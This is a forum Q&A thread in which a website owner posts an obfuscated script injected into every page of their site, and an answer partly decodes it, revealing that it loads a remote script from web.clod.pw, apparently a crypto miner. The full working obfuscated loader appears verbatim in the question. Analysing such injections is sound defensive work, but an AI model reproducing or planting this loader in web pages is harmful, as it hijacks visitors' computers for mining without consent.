Hack, script, malicious, decoder?

Question

I got THIS in the head of each page of my site... question, how to decode it to know what it does ?

here is the code :

<script>
$ = ~[];
$ = {
    ___: ++$,
    $$$$: (![] + "")[$],
    __$: ++$,
    $_$_: (![] + "")[$],
    _$_: ++$,
    $_$$: ({} + "")[$],
    $$_$: ($[$] + "")[$],
    _$$: ++$,
    $$$_: (!"" + "")[$],
    $__: ++$,
    $_$: ++$,
    $$__: ({} + "")[$],
    $$_: ++$,
    $$$: ++$,
    $___: ++$,
    $__$: ++$
};
$.$_ = ($.$_ = $ + "")[$.$_$] + ($._$ = $.$_[$.__$]) + ($.$$ = ($.$ + "")[$.__$]) + ((!$) + "")[$._$$] + ($.__ = $.$_[$.$$_]) + ($.$ = (!"" + "")[$.__$]) + ($._ = (!"" + "")[$._$_]) + $.$_[$.$_$] + $.__ + $._$ + $.$;
$.$$ = $.$ + (!"" + "")[$._$$] + $.__ + $._ + $.$ + $.$$;
$.$ = ($.___)[$.$_][$.$_];
$.$($.$($.$$ + "\"" + "\\" + $.__$ + $.$$_ + $.$$_ + $.$_$_ + "\\" + $.__$ + $.$$_ + $._$_ + "\\" + $.$__ + $.___ + $.$$$_ + (![] + "")[$._$_] + "\\" + $.$__ + $.___ + "=\\" + $.$__ + $.___ + $.$$_$ + $._$ + $.$$__ + $._ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + "." + $.$$__ + "\\" + $.__$ + $.$$_ + $._$_ + $.$$$_ + $.$_$_ + $.__ + $.$$$_ + "\\" + $.__$ + $.___ + $.$_$ + (![] + "")[$._$_] + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + "('\\" + $.__$ + $.$$_ + $._$$ + $.$$__ + "\\" + $.__$ + $.$$_ + $._$_ + "\\" + $.__$ + $.$_$ + $.__$ + "\\" + $.__$ + $.$$_ + $.___ + $.__ + "');" + $.$$$_ + (![] + "")[$._$_] + ".\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$$_ + $._$_ + $.$$__ + "='\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__ + "\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $._$$ + "://\\" + $.__$ + $.$$_ + $.$$$ + $.$$$_ + $.$_$$ + "." + $.$$__ + (![] + "")[$._$_] + $._$ + $.$$_$ + ".\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $.$$$ + "/\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.$$_ + $._$$ + "/\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.__$ + $.___ + "\\" + $.__$ + $.__$ + $.___ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $.$$_ + $.$$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.$__ + $.$$$ + (![] + "")[$._$_] + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $.$__ + $.$$$ + $.___ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $.$$$ + "\\" + $.__$ + $.$$$ + $.__$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$_ + $.__$ + $.$_$ + $.$$_$ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$__ + "\\" + $.__$ + $.__$ + $.$$_ + "\\" + $.__$ + $._$_ + $.$__ + $.$___ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$__ + $.___ + "\\" + $.__$ + $.$$$ + $._$_ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.___ + $._$$ + $.__ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$_$ + $._$_ + "\\" + $.__$ + $.__$ + $.$$_ + "\\" + $.__$ + $.$$$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $._$_ + $.__$ + $.___ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $.$__ + "\\" + $.__$ + $.__$ + $._$$ + "_\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$$ + "\\" + $.__$ + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $.$_$ + $.___ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $._$_ + $.___ + $.$$__ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$$_ + $.__$ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.___ + $.$_$ + $.$$_$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $._$_ + $.__$ + $.$$__ + "\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.$$$ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $.__$ + $.$$_ + $.$$__ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.__$ + $.$__ + $.$_$_ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$__ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $._$$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + $.$$_$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.__$ + $.$_$ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.$$_ + $.$$$ + $.$_$_ + ".\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.$$_ + $._$$ + "?" + $.__ + "\\" + $.__$ + $.$$_ + $._$_ + (![] + "")[$._$_] + "=" + $.___ + "." + $._$$ + $.___ + "';" + $.$$_$ + $._$ + $.$$__ + $._ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + ".\\" + $.__$ + $.$_$ + $.___ + $.$$$_ + $.$_$_ + $.$$_$ + "." + $.$_$_ + "\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $.___ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.$$_$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.$_$ + $.___ + "\\" + $.__$ + $.$_$ + $.__$ + (![] + "")[$._$_] + $.$$_$ + "(" + $.$$$_ + (![] + "")[$._$_] + ");" + "\"")())();
</script>

What do you mean? Is your own server serving this? Is this what you are getting in the head of every site you are visiting? Please give a little more information. No matter what, this looks like really obfuscated code. If it is on your site, shutdown the site until you can trace back its source. — zero298, Jan 08 '18 at 20:54
There is not nearly enough information here to figure out what is going on. What do you mean at the head of each page of your site? Do you mean any webpage you go to with your browser, or do you have a personal webpage that is infected with this code? Which part of the page is it located in? Did you pull this out of View Source or from another view? What differences have you noted in the usage of the page? — Davy M, Jan 08 '18 at 20:54

zero298 · Accepted Answer · 2018-01-08T22:04:12.583

I was able to deobfuscate most of it. The last bit of it is going to to create a function that will create a script tag, insert it into your DOM and then set the src to the following url:

https://web.clod.pw/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.30

The script that that loads seams to try to load up a crypto miner since some of the key things in its source are: WebMiner and runMiner().

Suffice it to say:

Turn off your server
Wipe your server
And restore from backup

This looks really nefarious. It's obfuscated and the first bits just serve to create some keywords that can be used. The last line is the important bit and I believe it's trying to create a Function that will will return some unicode String to be pulled from global. This is what I deobfuscated so far:

$ = ~[];                    // -1

$ = {
    ___: ++$,               // 0
    $$$$: (![] + "")[$],    // 'f'
    __$: ++$,               // 1
    $_$_: (![] + "")[$],    // 'a'
    _$_: ++$,               // 2
    $_$$: ({} + "")[$],     // 'b'
    $$_$: ($[$] + "")[$],   // 'd'
    _$$: ++$,               // 3
    $$$_: (!"" + "")[$],    // 'e'
    $__: ++$,               // 4
    $_$: ++$,               // 5
    $$__: ({} + "")[$],     // 'c'
    $$_: ++$,               // 6
    $$$: ++$,               // 7
    $___: ++$,              // 8
    $__$: ++$               // 9
};

$.$_ =                              // 'constructor'
    ($.$_ = $ + "")[$.$_$] +        // 'c'
    ($._$ = $.$_[$.__$]) +          // 'o'
    ($.$$ = ($.$ + "")[$.__$]) +    // 'n'
    ((!$) + "")[$._$$] +            // 's'
    ($.__ = $.$_[$.$$_]) +          // 't'
    ($.$ = (!"" + "")[$.__$]) +     // 'r'
    ($._ = (!"" + "")[$._$_]) +     // 'u'
    $.$_[$.$_$] +                   // 'c'
    $.__ +                          // 't'
    $._$ +                          // 'o'
    $.$;                            // 'r'

$.$$ =                      // 'return'
    $.$ +                   // 'r'
    (!"" + "")[$._$$] +     // 'e'
    $.__ +                  // 't'
    $._ +                   // 'u'
    $.$ +                   // 'r'
    $.$$;                   // 'n'

$.$ = ($.___)[$.$_][$.$_]; // (Number).constructor.constructor

// This is where the actual function is created and called to download another script off of another domain.
$.$(
    $.$(
        // A whole lot of unicode shenanigans
    )()
)();

Hack, script, malicious, decoder?

1 Answers1